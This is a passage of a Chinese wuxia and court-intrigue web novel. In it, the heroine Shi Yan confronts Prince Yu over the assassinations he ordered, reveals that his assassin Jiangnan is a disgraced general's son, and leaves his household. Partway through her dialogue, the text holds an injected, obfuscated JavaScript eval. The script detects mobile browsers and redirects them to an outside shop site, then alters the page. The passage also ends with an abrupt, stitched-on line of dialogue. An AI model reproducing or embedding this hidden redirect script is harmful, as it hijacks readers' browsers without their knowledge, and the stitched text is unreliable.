石焉知爷爷卧病,她想接替相护之意,便也不再推辞,微笑接过钗子仔细端详,它头窄尾宽,状似名贵的翠鸟羽。时宫中及富贵人家有从翠鸟身上活剥蓝羽以制头饰的,虽美丽绝顶,但亦残忍至极。因此陆其陇所拥有的这根钗只仿翠羽之形,内里所用实际是石老特意翻出的他从深海险处得来的宝贵蓝石,他又寻工匠按翠羽形状一点点雕刻成形,打磨镂空,不知费去了多少蓝石屑沫,这才有了这支份量颇重,独一无二的钗子。 当时石曾忆已享总舵主之位,石难黎看的通透,又事事思虑周全,忧其不可靠,于是他为给陆其陇一个安稳,特意立了新规,专门命每处分舵自行制造一枚行船令,见令如见舵主,便可启用本舵船只,亦可支使本舵人员。而行船令的样式规模不设局限,因此十二分舵的行船令均各不相同,有以铜牌铁令者,亦有书法印章者,至于总舵的行船令,则是这枚石老专门为陆其陇打造的蓝羽钗。且其余分舵的行船令皆掌握在自己手中,唯有总舵的行船令,不属于总舵主,却是由总舵主夫人所握。 几人聊了一会,陆其陇看向一直在旁默不作声的卿轩以,想起他刚才带头说的那句“我也不会”,心里一直以来的疑惑终于问出了口,她道,“方才聊天,温言和焉儿她们说永远不会背离我,我都明白,只是你…我似乎与你并无交情?” 卿轩以喉头梗了梗,他未入水帮前曾演练过数次再见恩人时的自白,然而真正进了帮内却连面都未尝见过,此刻陆其陇突然直白问起,他倒有些措手不及,想想还是决定简而言之,“我年少时曾在小小赌坊偶遇贵人,幸得援手拣回贱命。于她只是顺便相助,不足挂齿,于我却是好生之德,再造之恩。” 陆其陇十分认真地“噢”了一声,然而她定在原地其实是在仔细回想,她未嫁时行走江湖常常路见不平便拔刀出手,救过的人一半来自赌坊一半来自青楼,她如何记得住眼前的这个是当年的哪个? 至于她后来到底有无想起来就不得而知了,石焉与江南这边已经折回了灶台,两人一同围锅弄铲,却各怀不同心事。 几日后石曾忆下葬,一行人也要各自回舵,就此分道扬镳,而石焉与江南则在告别几人后,一同回金陵而去。 两人一个坐在车里,一个骑于马上,每日只谈论必要的吃喝住行,十分默契,偶尔几次露出笑容,也不过是江南把“三阳面馆”看成了“三阴面馆”这等末节小事。 再回到屿王府的时候,沈谛祝见两人神情有异,身边也没有原本离开时说要前去接来的石方身影,心下预感不妙,他脸上不动声色,仍摆出一副笑脸相迎,招呼厨房准备饭菜,又命人重新打扫石焉客房。 “殿下,别忙了。” 石焉此话一出,在场的人都感觉到了气氛的不对,幼时石焉对沈谛祝一向是敬重又亲近,长大后再次重逢,虽不比儿时亲切熟悉,却也是礼敬有加,说话神态从没有像现在这样冷淡疏离。 “我有些话想问问您。”石焉继续道。 一旁的祝之笺和小顾都转头看着江南,企图从他脸上得出一些事情演变至此的原因,可后者只低着头,整张脸埋在阴影里,唯可见紧皱的双眉,和攥实的拳头。 “跟我来密室。” 沈谛祝的脸色一下子沉了下去,笑容还僵硬地挂在嘴角,周身却散发出一种阴森可怖的气质,叫人不寒而栗,他抬眸看了石焉一眼,双手一背,转身往密室而去。 15. 第四章第一节 他目露杀气 “咔嗒”一声,屿王转动花瓶,书架往两侧移开,密室显现了出来,曾经被太子搜查过的四四方方的空间已经重整如初,唯一不同是四周木架上的武器和籍册全都不见了,这间被“暴露”过的密室,自然是不会再放重要密件了。 挥了挥空气中的浮灰,这里他之后的确没来过了,至于新的密室位置,此刻的石焉显然还不配他的信任去知道。 密室门逐渐阖上,屿王点燃桌上的玉灯,这才让漆黑的空间弥漫开些微的光亮来,可玉灯色冷,照的人心里发凉。 “你想问的事是关于江南,还是我?”他先开了口。 “是你派江南去杀的五派掌门,对吗?”石焉不答反问道。 “对。” “因为这五派都是太子的势力,对吗?” “对。” “你曾经在这间密室里对我说英国公之事,是想博取我的同情,要我主动张口说帮你,对吗?” “对。” “你明知道把英国公藏在府里是躲不过太子搜查的,却还是故意提出,就是为了要我开口,最好便是能拉拢第三方的新力量入局,比如归留园,你要图谋更多的江湖势力,对吗?” “对。” 石焉的眉毛一点一点皱的越发紧,她道,“你派江南与我随行,并不是多想帮我接回弟弟。就像当初你请御医医治爷爷,并不是在意能否真正救人性命,你图谋的是让我承江南的情,让九顷水帮承你的情,对吗?!” “对。你都知道,何必一件件说出来讨我的答案?” 屿王双唇紧闭,明明脸上的少年气还很鲜明,表情却严肃又老成,他从懂事就开始工于心计,自幼便喜欢步步谋算,他乐在其中,也承认自己有时会越了分寸。可帝王之道,只有计算,没有旁的。 “兄长。”石焉眼睛里是说不清的神色。 若说失望,她在七年前已经彻底失望过一次。若说不可置信,她从认识他的第一天起就知道他善于隐藏,也知道他的野心。她只是感到震惊,她以为兄长无论如何也是坚守以正道博弈的君子,从不知道他与太子一样,视人命为棋子。 “英国公的事,也是你对我的考验吧?你想看看七年过去,我是不是还有站在你身边做你帮手的资格。你救下九顷的帮主以后发现他居然是收养我长大的爷爷,而在我提出将英国公藏到归留园后你眼睛里惊喜的神色,我都看得到!对你而言,九顷水帮是囊中之物,归留园则是意外之喜,对吗?” “对。” 屿王眼眶开始有些充血,他继续道,“你不是从一开始心里就清楚吗?从第一次走进这间密室开始,你就听懂了我的弦外之音。我是需要你帮我,你也一步一步配合了,明明自己甘之如饴,今日又何必说这些话要站在我的对立面去? 我重新见到你的第一面起,我就看出你心里的那些不甘。你有能力也有抱负,但你没有权力,一切就都无从做起。你说是我利用你,那你对我又是什么?你应该知道,如果不是我,你的那些善良,永远只能对着小小沟渠!永远做不了大事! 我谅你今日是冲昏了头才说这些不分长幼的无礼之话,好好想想吧。” “什么是沟渠?什么是大事?在兄长心里善意原来是可以用大小来区分衡量的吗?” 石焉从小到大甚少高声放话,她今日失控,是因为她把面前的人当作是世上已为数不多的与自己尚有血缘亲系的家人,七年间她从不敢入京城,却又那样地日夜期盼他仁始如初,她真怕见到的会是一个面目全非的兄长。恰似今日。 她略略平了口气,心知江南曾说过他没主动上报屿王当日还有活口一事,而兄长至今不问自己是如何得知杀害五派掌门真凶的,必是认定江南对自己透了密。也许他一直认定,就不会盘问。但若一盘问,按照江南对他的忠心与信任,便可能会从他口中套出宋西州。先前不报现在报,只会反而叫他疑心。因此要想确保西州安全,不如主动出击。于是她道,“你怎么不问问我是如何得知你派江南暗杀五派掌门一事的?” “难道不是他告诉你的?”屿王眯了眯眼,问道。 “他对你忠心耿耿,自然不是他。”果然。石焉的心里更觉得一阵悲凉,不是替自己,而是替江南。 “难道他没做干净,留了活口?” “若想人不知,除非己莫为。”石焉凄苦一笑,道,“不过你放心,更不必想着去灭口,我虽不认同你维护君主之道的方法,但是我不会害你。我以性命向你保证,那个活口永远都不会对你造成威胁。凌霄宫也已经推了山青出来背罪,不会再有无关的人知道五派惨案的真正主谋,是当朝的七皇子殿下。” “你是在替那五个帮主不平吗?”屿王道,“你可知他们本该成为武林的中流砥柱,本该惩恶扬善行侠仗义,可是呢?区区太子府的几块金子,就让他们甘当见不得光的杀手。你只知道怪我冷酷,那你可知道这几年太子通过他们的手杀了多少人吗?!这五个人,每一个都按律该死不知多少回了!我杀了五个人,却能救下更多的人免遭太子毒手!” “可兄长这么做,和太子到底有何区别?”她大口地喘着气,“明明还有别的方法可以拔除太子在江湖的势力,你却偏偏选择了杀人之法。那可是五条人命!再者,兄长,你可曾替自己的下属想过吗?如果江南失手死了呢?也对,你还能继续派第二个人出发。只派遣一个杀手,就可以永绝后患,这当然是对你和太子这种人而言付出最少又最一劳永逸的法子!不管是自己人还是仇人,你都舍的去他们的命。说来堂皇,不过都是党同伐异!” “沈妙常!你是在跟本殿说话!你还知道你的身份吗?!” “我当然知道!”石焉的声音一下子弱了下来,她仿佛是嘶吼过后耗尽了力气,喃喃重复道,“我当然知道…父王和母亲死后,我比任何人都知道我卑贱的身份。皇帝不废郡主,是为了他的好名声,是为了堵悠悠之口…兄长说的没错,没有权力许多事我都做不了,所以只有在兄长这里,我才敢想从前不敢想之事,我才敢在营救英国公的行动中谏东谏西,我才敢把自己能联络九顷和归留园的事丝毫不掩饰地透到你眼前!因为我以为你仍是以前那个兄长!那个会长跪宫门两个时辰,求娶祝大人此等清官之女为正妻,抬举朝堂正派官员的兄长!的确,我与你从小默契,我知道你真正所图谋之事是什么。所以我顺计让你看到我的能力,因为我真的想帮你!” 说到这石焉的眼泪已经流了满脸满颈,她最不能提起的,就是自己的父母。顿了顿后她又道,“这次出行我原本是打算如你所愿,接到弟弟以后再借立新帮主一事拉拢九顷。但是我一句都未曾提过。因为这一切的前提,本该是你是那个值得我们扶助的贤主!” “可你心中的所谓大计,是践踏在别人的真心与生命之上的。”她继续道,“不知道兄长是否知道?江南在第一次和我提起你的时候,他称你为朋友。你在他心里,不止是主上。和我一样,我们都把你当作兄长,当作是可以豁的出命去维护的朋友!” “我知道!我如何不知道?” “你不知道!”沈谛祝话刚到一半,直接被石焉打断,“否则你怎么忍心,把林惊时将军的儿子,变成一个见不得光的刺客!” 此话一出,沈谛祝神色大变,他脸上出现不可置信的表情,还有一些不知所措。 两人都沉默了许久,玉灯上的烛影打在沈谛祝身侧,彼此都看不太真切对方的模样,只能感觉到巨大的影子把对方吞噬。密室里没有风,七八月的天正闷热的厉害,初进密室还觉森冷,然而此刻连烛心都燃的比平时更快。 “你怎么知道的…”沈谛祝的声音沉了下去,面色阴的要将人淹没。 石焉没有回答,她的眼前又出现了那副画。 彼时她正在宜城分舵的院中煎药,宋酬雌递给她一纸画像。她将画卷平铺开来,直到露出那双眼。 此作的画手技艺过人,即便石焉从未在江南的双眼里见过如此狠切锐利的神情,也足以让她想起,曾在另一个人的脸上见过。 于是她猛然想起爷爷曾说过他见到江南的第一面就觉得眼熟。如果自己眼熟是因为幼年在皇宫内见过一次,那爷爷从未见过他,又为何眼熟?! 她盯着纸中人,手一抖,险些跌落画卷,画里的人背对着自己,正转头望来。他墨发高束,马尾飞扬,似能感觉到那夜的冷风历历,再看他眉峰如聚,目露杀气,透过薄薄白纸,落入石焉眼中,直指她五魂七魄。 如果说乍然之下得知制造五派掌门之死的杀手是江南的消息让她全身上下如遭雷劈,那么接下来脑海中连上的许多她从不曾在意的断续篇章所带来的冲击也绝不亚于此。 她出生时林惊时全家已经被判满门抄斩,她并未见过鼎鼎有名的林将军一面,然而她有幸在父母手中见过一次他的画像,私藏逆贼之物也是死罪,可是父母告诉她: “林将军铁骨铮铮,柱石之坚,乃英雄好汉,直千古留名。其恩其德,其忠其义,万世不泯。外人可蒙蔽,然沈家子孙永不可忘。” 那时她年龄尚小,却也对画像上的男子肃然起敬,画上笔触苍劲豪迈,黑白流动间尽现眼神清冽,目光凌厉,连断疏密中勾勒出拧聚峰眉,如山如川。脑后马尾高束,洒脱潇然。 那人与江南眉目相似,只是眼神却大有不同。林惊时久驻沙场,守疆护民,眸中杀气集聚,但满面意气风发,大展光明磊落之忠胆侠气。而同样的一副眉眼落到江南脸上,却总是空落没有神采。 因此当石焉在宋西州之画上第一次看到江南似狼虎般的辉明双眸,就猛地与林惊时联系起来。她也才恍然明白何以与林将曾有面缘的爷爷会说他眼熟,何以爷爷当日分明可以自己运功却依然要试探江南的心法,何以说他的高深内力是由林惊时所传。 多可悲,他眼中罕有出现的神采,竟是杀人之时的狠戾杀气。 石焉叹了口气,道,“林府曾有一位姓尉迟的女画师,她画风豪放,提笔成神,给林将军的画作更是逼真。” 石焉看着屿王的眼睛道,“我见过林将军的画像,所以认出来了。” 她不打算细说另有一副宋西州给江南所作的画像之事,便几语略略概之。 “我知道他是林将之子的时候,他已经被他那个疯魔的师父折磨的少言寡语,性情也是一味的逆来顺受,身上早已没有半点他父亲的影子!甚至他来我府中做事,都是我与他师父一手谈成。我不是没有问过他的意思!可他自己只把自己当一件工具,当一把武器,他不是不敢发言说愿不愿意,他是根本不知道自己愿不愿意!我不想这样说,可他就是一副空空躯壳,没有想法与灵气的壳。” 屿王想起当年事,眼中隐有泪花闪动,他强忍着,声音还是颤抖,“我是想尽力对他好,所以他不识字,我专门找人给他念心经籍法,把我收集到的所有宝贵武籍都给他练,给他的月银足以养活他们卷云洞所有人。可是妙常,你应该懂得,一个人童年所历之事,不是后来者可以弥补填上的。” “我自然懂得。所以我没有告诉他。”石焉闭上眼道,“我怕他现在知道了,只会无法自处。” “谢谢…” “我不是为了你。”石焉再睁开眼时亦有两行清泪流下,她接着道,“我只是交换想想也实在不知,若是自己,知道真相后该如何面对最亲近的师父和最尊敬的主上。” “但你呢!明知他是林将之子,还是一手把他培养成自己的刺客。你明知他已经身心俱近乎残,却还是把他往更无法脱离的深渊里带去!兄长,那时你也不过才十一二吧?!我竟一丝都没看出来你这么狠心!” “没错!我是狠心。可我的所有狠心都是为了舍一时之痛,铸万世之功!”沈谛祝瞪视着石焉,道,“当年我娶王妃之事不也是如此?如果不是为了拉拢朝廷清流,我放着母妃选的王公贵女不见而非要去娶小小五品官员之女做什么?但是现在我还不是与王妃感情极好!你自己也看到了,成婚至今我从未纳妾,因为我真心爱王妃,我护她待她之心天地可鉴!或许求娶之时我心思是不纯,或许她当日亦是为了家族前途才勉强,可如今我们二人早已情义深重。如果不是本殿当年执意强娶,你能保证王妃如今会有更好归宿吗?你又敢说朝廷能有今日这来之不易的渐清渐朗之势吗? 江南之事亦然!如果不是我把他带到府上,他永远不会有机会学习更多武功,永远不可能接触更高深的秘籍,他武功最多也只能有现在一般的水平。且你以为他父亲会想让他永远只是一个碌碌无名的江湖人士吗?但江南跟着我,一旦我功成,许他一个林将当年之职又有何难?” “何必冠冕堂皇?!”石焉驳道,“我认同你娶之笺一事是因为之笺当年曾有书信于我,她对你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253655|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的品性德行十分认同,且她本就希望找一位能帮祝家安身的人,她是自愿想嫁你的。或许当年在你眼里是祝家高攀了,可在我心里能与祝家联姻其实是兄长你的福气!你应该知道,之笺的志向不亚于你,她亦看得出你的抱负。你知道她,她也知道你。你们两人旗鼓相当,当年的婚事实则是两厢情愿,互相选择的结果。” “可江南呢?他从未有过选择的权利!甚至他连自己的身世都不知道!他不了解你,甚至不了解他自己。从来没有人告诉过他,他是个人!他首先应该拥有自己的人生!而不是从小就被冠以某个人的附属来活!卷云洞把他当摇钱树,屿王府把他当杀人利刃,他若能做光明的将军,如何愿做黑夜里的活死人呢?他并不叫江南,他真名叫林瓿破,父王曾经告诉我那是林将军问了许多人后才择下的名字。兄长说已经尽力对他好,又说以后要封他做大将,可兄长怎么会不知道一个被磨灭了心志的人给他再多虚名又有何益?你把他买来做自己的刺客,不过是把他当作和我一样的棋子,在将来有用之时便可搬出我们的特殊身份以便招揽父王和林将的旧部吧!而在此之前,你诸多隐瞒不过是想尽办法把他留在你身边做一个忠心耿耿又对你感恩戴德的下属罢了!” 石焉的胸腔剧烈起伏着,她继续道,“只怕还不止如此!你这次派江南跟着我,名为保护,实际上你不过是看江南对我的感情,想顺水推舟,只要我们二人在一起后,那么我这个定边郡主,也自然而然是与你屿王府绑在一条船上的人了。” “呵呵,”沈谛祝冷笑道,“江南的确喜欢你,从他十二岁在宫里与你有过一面之缘后,回来便从我这打听过不少次你的故事,那年你生辰,他到处跑了个遍,才寻到一支满意的簪子给你作礼,可惜…还是没送成。只是我的确没想到七年过去,他还只惦着你一个人。” 石焉心里震动,那年的生辰,是母亲陪她过的,父王已被强留京中,却仍然派人日夜兼程为她送回了一条舞裙作为生辰礼,她浑然不知即将发生的大事会毁了她的一生。坐在闺房的榻上,她还一件件数着各家送来的珍宝礼物。 “只是沈妙常,你未免太不了解你自己了!”沈谛祝的声音又轰然响起,“我期盼你也对他有情?呵呵,你根本不会爱人。我的确想让你成为屿王府的帮手,可是我从没指望你能爱上江南。你爱不上任何人。” 沈谛祝一字一句道,“你所谓的那点感情,不过是同情罢了。你从小便是如此,你自己意识不到吗?你同情这世界上的所有人,你可以把自己的血自己的肉送给毫无关系的陌生人去饱腹,但你不会喜欢任何人。江南亦然,你现在对他的种种,只是你自以为高尚的同情心在作祟。” 石焉仿佛被钉在原地,她心里哀痛,脸上却已经表现不出来,她道,“兄长,我从不认为过于同情是种错误,相反,自视清高而对别人的苦难熟视无睹者才叫人唾弃。” “这个世上只有少数人才能生来就为生为旦,比如兄长你,比如十岁前的我。可是更多的人穷尽一生也只能是站在这些人的身边,做一个不被看见的陪衬。但即便如此,他们也都在努力奉献,为当权者奉上源源不断的米粮和银税,可是当权者在做什么?五派掌门也是被太子要挟去的可怜人,他们站在太子的队伍,便要被兄长除去。若乘上兄长之船,也会被太子除去!全都是玩弄权术!诛锄异己!顺者可昌,逆者便亡!” “我再同你讲一遍。”沈谛祝怒道,“如果我只是江湖上一普通好汉,我大可以像现在的你一样对朝廷对天下指指点点!我也大可以每日只管眼前的一亩三分地,只要保证我目之所及没有欺侮良弱之事就是了!每日行侠仗义,做一个人人称道的大侠不好吗?!可是如果我不杀那五派掌门,仅仅按照你所想象的,用劝诫之道?又或者是助他们隐藏起来?那他们的确能活下来,可对他们背后的人又能有什么威慑作用?!太子会收手吗?!你刚刚说若我手下死了一个江南还会派第二个,那么我告诉你,太子亦然,这五派不干了,他就会找下一个五派,但是如果我做的够狠!我一夕之内叫他仅有的江湖势力全部人头落地!那么他才有可能会知难而退!而我要的,就是用人命去给他这个下马威!我调查过,这五派只有掌门是在背地里替太子做人头买卖,底下的众弟子并不知情,所以他要重新建立势力网并不容易。至少短期内他没办法再图谋江湖。你所生活的武林,才可能有一片清净日子!” “我就是你口中的掌权者,因此我永远要权衡轻重。那五派掌门是你看到的第一桩事,但是我明确告诉你这五个人根本不是我杀的头五个人!也不会是最后五个!皇帝无德,太子更是喜爱暴政,你既然知道我的心思,那么就该知道战争是迟早的事,到时死的人会更多!但你记住,我与你的目标是一致的,等我推翻他们之后,将会是清明盛世!这就是我所说的为天下计者,需心怀大爱!” “兄长口口声声说大爱,妙常倒想问问,难道在兄长心里还有小爱?众生本平等,爱人爱物之心亦然,又如何能以大小区分?且退一步,就按兄长所言,可这天下难道不是每一个独立的人组成起来的?这江山难道不是每一座渺小的城组建起来的?为千人便可弃十人,为京城即可弃边城!且兄长所谓,天下计,不过是为自己一人的谋江山谋皇权,和你认为的那些可以舍弃的小小一亩三分地,实实在在为百姓生存生活的诸多实事相比,到底孰是大,孰是小?” “我做这些从来都不是为了所谓权力!沈妙常,你未曾居庙堂,只知救人之法,却不知如何治理天下,你口口声声说我谋天下只为江山皇权,到底是我在你心中真是如此被揣测的,还是你父亲本有实力做我今日之事,却未能如愿,所以你不信会有其他人与他有一样的想法与抱负!” 沈谛祝提到石焉父亲,她再次激动起来,言辞也变得激烈露骨,她近乎哭吼道,“我父亲从来没有想过夺位!我的确不曾学习如何治理国家,可父亲身在朝堂,又长年征战,他比任何人都懂得生命的分量!所以即便皇帝…让人失望,父亲也尽他所能,救济百姓,□□边土,他从未想过以发起战争的方式去改变局面,哪怕如此残局,要破的唯一方法只能是开启一场杀伐。但父亲,没有像今日的兄长一样,选择以血,洗浊,以命,换命。兄长不要以自己的野心,去度他人忠志了吧。” “哗”地一阵袖风扬起,一巴掌呼至石焉脸前的时候,她竟没觉得意外。 16. 第四章第二节 也许是顾忌她的身份。巴掌悬在空中,终是没落下来。沈妙常亦顶在原处,丝毫未退。 此时密室只余两人的喘气声此起彼伏,这的空气本不流通,却在爆发的一刻像潮水突然有了生命,翻滚搅动着山海,然而这一池狭小空间,盛不下山海,也盛不下两条年轻的思绪。 “道不同,不相为谋。”沈谛祝背过身去,立在石台前。 “正是。我这次回来,本就是为了告别。” “好。既然你始终无法认同我的方式,那我也不必再勉强。” 石焉慢慢站起身来,左脸才感到后知后觉火烧般的疼,她拨了拨眼前松散的发丝,看着他尊贵的背影,她好像是第一次从背后看他,台上的玉灯被他遮去了一半的光亮,她也第一次觉得他的身影有些沧桑,有些孤独。 她犹豫着要不要说一句“就此别过后会有期”,大概是的确很难启齿,也非己心愿,石焉终究没说出口,她只是同样转过身,向密室门走去。 “太子这次的突然发难,的确叫我措手不及,但也叫我幡然醒悟。”屿王的声音忽然又在背后响起。 “我按着自己的节奏一步步布局,旁人却不会容等我将一切准备就绪。只恨我比太子晚生十五年。但这中间的年岁,纵使我拼了命也要补上。” “是我忽略了父皇已近五十,也错估了太子的耐心。只是老天在这个时候把你带回到我府上,我以为能如虎添翼。你说我想借用你定边郡主的身份没错,在你重新出现之前我一直认定你已经不在了,所以我从未想过有一天还能借你的东风。从前我暗中招兵,缓慢图之,但你重新出现以后,我以为这是老天都在帮我,只要有你的助力,我自然可以事半功倍去对抗太子。” “只是没想到我们都无法说服彼此。眼下我的时机未到,但太子已经发招,我暂时只能被他牵着鼻子走。往后的路更是步步凶险。兄长只有一件事情求你。” 石焉转回身看去,屿王还背对着,他不知道什么时候塌下了腰去,双手紧紧握成拳撑在石台面上,骨节都泛着青色。 “王妃有孕。” 他克制地呼了口气,却还是叫石焉听的清清楚楚,他的腰背再躬一分,看起来比方才更沉重忧愁。 “从前她急于怀孩子,我心里明白,那是因为父皇看重子嗣。太子就有两个儿子,都聪慧伶俐,会讨皇帝喜欢。平时父皇更看重大哥,但在朝臣面前总是我更得脸些。我与王妃都曾抱有幻想,或许我们是输在了子嗣上,或许等我们有了儿子,父皇兴许会改立太子。可是后来我才明白,我们差的这十五年,并不是子嗣就可以补的上来的。但是我不服,也不认,民间都传先皇在时是如何的夜不闭户,河清海晏,我虽没亲眼看过,但也甚向往之。所以如今这个摇摇欲坠的局面,我是一定要打破重塑,扳回成皇祖父在时的模样的。哪怕是以血洗,以骨顶,我也在所不惜。” “可如果,有朝一日我败了,兄长求你,把王妃和孩子带走,别让她们也做了阶下囚。” 石焉在听到祝之笺怀孕的消息时就吃了一惊,她没想到自己离开时说的话成了真。直到屿王最后说出阶下囚一词,她听到他声断音颤,眼泪再次顺着刚干涸的沟痕留下新的水迹。 “之笺是我的好友。我起誓。如果真有那么一天,我沈妙常拼了自己性命,也会护之笺和孩子周全。” 沈谛祝还是没有转过身来,石焉看着他的背影,却看不到他低垂的头下面已经滴了一桌的泪渍,更看不到他强忍不愿发出抽噎的狰狞表情。没有得到回应,她没再多言,提裙转身而去。 刚推开密室门,就看见祝之笺站在门口,二十步开外是小顾和江南在看守着书房大门。无暇去问祝之笺听到了多少,石焉也不知该从何开口,只好绕道而出。 见石焉要走,祝之笺一把拉住她道,“妙常,你还记不记得,小时候你见我们家被排挤,就回去叫滇南王帮父亲讲话,还在法宝寺祈愿时说你一切美满已无他求,愿把自己余生的福份都转赠给我。” “谁知世事会无常至此,我是家中一路青云,我亦如愿嫁得好郎君,现在又借你吉言怀上孩子,从小你就是我的福星,可你的日子却……我知道你从小善良,最不能接受的就是官场构陷和平白起的战争。我也自知这些年我与殿下许多事做的残忍,所以没有权利要求你留下,只求你别怪罪殿下。他或许是有些手段,但比起太子和…” “比起太子和皇帝,”祝之笺把声音压到最低,她道,“殿下一定是最适合做君主的那个人。” 祝之笺的话字字渗进她寒冷的骨血里,她每次去行愿,都几乎是毫不考虑自己的为他人祈福,有为过亲密如祝之笺的好友,也为过偶然救下的小狗。她脑海里没来由地想到了自己方才对兄长吼出的那句“以血洗浊,以命换命”。 物损于彼者盈于此,俱一,无变。原来祸兮福之所倚,福兮祸之所伏,从来不拘泥于某一人,某一身,也可以是以一人之祸,兑另一人之福。也对,这世上有断他人的命换自己活路者,自然就有舍自己性命,成他人之全者。此之消而彼之长,万物不灭而持恒,何聚何散,本是冥冥中天道的安排。 石焉好像在一瞬间彻悟,连兄长的诸多作为居然也全然理解了。如果当年传闻是真,如果父母之死是为了成全更大的生,是否那正是他们最有意义的归宿,是否可堪“死得其所”四字。 心中似醍醐灌顶,然透凉之后,却觉得浑身又再度灼烧起来。 可是,可是。 她的心里忽然间冒出来一百一千个症结,兄长是几位皇子中最合适的君主,可天下君主为何只能从这几位里择优?战争可以推翻劣政,可打仗难道不是一种更暴虐的劣政?她赞成每个人都有自己不同的信念,那么兄长今日对夺位的坚持,和父母当初对忠心的执着,看似冲突,然而又如何能区分孰对孰错?她已经可以理解兄长的算计之道,可始终无法赞同,更无法为之出谋划策推波助澜,但她自己所谓的良善劝道之法,却只能谏君子,而无法治小人,那么这岂不是另一场荒诞的放任自流?她刚才言之凿凿对兄长大加批判,自己可又拿的出一个两全其美的法子?她陷落在混沌泥藻里无法自拔,只有一点清楚明白,她决不能帮人去杀人。 不管帮的是谁,亦不管杀的是谁。 脑海中又想起在佛前祈愿的小小身影,她下定决心,既然自己自愿选择了做会消而散的水与尘,就要坚守善心,去撑一片聚而新,洁净而无暇的云与海。哪怕,只有头顶一亩三分。 石焉在走前,给祝之笺,顾念怀和江南分别留了对各自体质大有助益的方子,又交代了自己此去定居徒太山,若王妃生产前有需要,随时可遣人叫她回来。 拎起裙侧,拾级而下。她这次离开王府大门的时候,仅十七岁。 离京之前,她去归留园还上了当时两位师姐给她的盘缠。自己如今扶了伯母上位,那边送来的金银自然源源不缺。她念及往后多年,自己对九顷应当还能时不时帮忙些琐碎,但对归留园却恐怕是再也没机会付出些什么了,便一直念着要还上这份恩情。 “你当日舞动金陵,给我们园子带来了不知多少生意。你拜托我们助你掩护那位老大人,我们也感谢你帮园子扬名。咱们是互相成就,又不是白白利用彼此。我给你的这点银子,根本不足我后来赚到的百分之一,姑娘这么客气做什么?” “裴师姐,九顷水帮新的帮主是我伯母,她对我不比爷爷差,不会短了我吃穿用度的。这些银子就请你别再推辞了。” 石焉辞别归留园,又雇下车马,经至北桥郡分舵,准备专门在此歇宿后再行,却乍然见到出来相迎的卿轩以身边多了个英气水灵的小姑娘。 “卿大哥,这…” “不错,小姐。”他牵着小姑娘的手往前一步,“这便是宋姑娘之妹宋西州。西州,快来叫姐姐。” “大姐姐。”宋西州率真又有礼,她双眸明亮,嘴角自然上扬,既不扭捏,也不顽皮,十分讨人喜欢。 石焉微笑着去抚摸她头顶的秀发以作回应,她低头看着宋西州的小小脸蛋。和宋酬雌十分不同,比起姐姐常常眉间愁云惨雾,郁郁不乐,眼前的女孩活泼飒爽,神采奕奕,虽梳着一个简单的男孩发髻,却依旧不难看出长大后的明丽英姿。 “小姐,我们去江陵接她时宋姑娘正欲携她出门,且目的地就是我这。这不是巧了吗?她想要小妹入咱们水帮,还特携了一封信要我转交给你。”卿轩以从怀中摸出一封薄信交给石焉。 石焉走到屋内,慢慢展开信纸,宋酬雌字如其人,娟秀工整,上书几排小楷: 石焉吾妹.近日吾常感五内不安.恐为危惧风波围困.思之想之.唯西州与扶苏门两款令吾担忧.日夜虑甚.仅有一计.便恳请尔为吾妹道一语由.求九顷收小妹入帮.方可庇佑她周全.盘缠与衣物已交予小妹.吾亦能全心赴师父之于扶苏门之愿. 多劳费心.酬雌再表谢忱. 石焉翻开纸笺的夹层,才看到另有一行字迹: 吾妹亲见凶手再度临门,实不敢再坐以待毙,故托其之于焉妹及九顷,唯盼吾武艺早日有所成,报仇雪恨,亦可护尔及小妹周全。 那天江南登门果然被西州认出来了,那么酬雌自然也就知道了。她虽然并未言明,但信中最后一句,保护西州乃是长姐本分,可保护自己一言,便是再明显不过地暗指那凶手就在自己身侧。 她抽不出时间去拘泥或难过,这边读完信,心下思索道,按照屿王的个性,虽然不至于非要杀人灭口,但他必定还要派小顾私下去扶苏门暗查,监视一番。即便石焉相信自己在争吵中专门为了此事给屿王吃过的一颗定心丸。所以她在襄阳时便请了北桥分舵前去接人。 但若说这次她和屿王之间的一番争吵让她对后者又有了全然不同的认识,却也至少也让她进一步确认了自己对屿王的手段仍能有三分把握,尚可确信他不会赶尽杀绝。 但小顾呢?她转念一想。自己对小顾还似幼时那般了解吗?他会不会替屿王做不可为之事,会不会为屿王抹净一切有可能的障碍?且既然宋西州已经离了江陵,想必屿王此时也已经得知,那么疑心业存,此时将她再行送回反而刻意了。 如此想来,宋西州现在自己身边,确实是最妥帖的。九顷人多势大,是优势,却也是风险。宋酬雌不知她的身世,只知九顷,故而才如此托付。但她手里,却有更好的选择。她当下便给其回信,表明将带宋西州一并前往徒太山,有外公与爷爷在的世外之地,才是妥当无虞。 毕竟那里既能远离太子和屿王,也能远离叶显开和…江南。 与此同时,江南那边也并不安稳。彼时书房只余他与屿王、小顾三人在场。屿王坐在榻上,他双手交握扶在额前,整个人憔悴不堪。 他朝跪在面前的江南道,“你是从什么时候,开始学会有事瞒我了?” “属下不敢。” “那你告诉我,杀许霓生那一夜,在场的还有谁?” “天色太暗,属下隐约看见有人影,但是是男是女,以及具体样貌,属下实在没看清。” “还在瞒。”屿王叹息一声,“原来你如此不信任我。” “小顾,叫人备好板子,给我狠狠地罚!” 他抬起眼睛,盯着江南继续道,“本殿告诉你,今天不论你说不说,都无所谓。因为本殿本来就没打算再下令去杀那个人!只是本殿没想到,在你眼中,我竟是那种残忍狠虐之人吗?!” 他闭上眼睛,咽下所有的隔阂与失落,再睁开时已重新垒起自己孤注的防线。他理智道,“但是江南你要记住,你可以对本殿心有怨言,亦可以对本殿不满。但你始终是本殿府上的刺客,任何命令你只能执行,不能擅做决定,以后更不能对本殿有所隐瞒。杀或不杀由本殿来决定,不由你,你明白了吗?” “我明白了石姐姐,咱们要先去一趟凌霄宫陪你看望母亲,然后再去徒太山长住,对吧!” 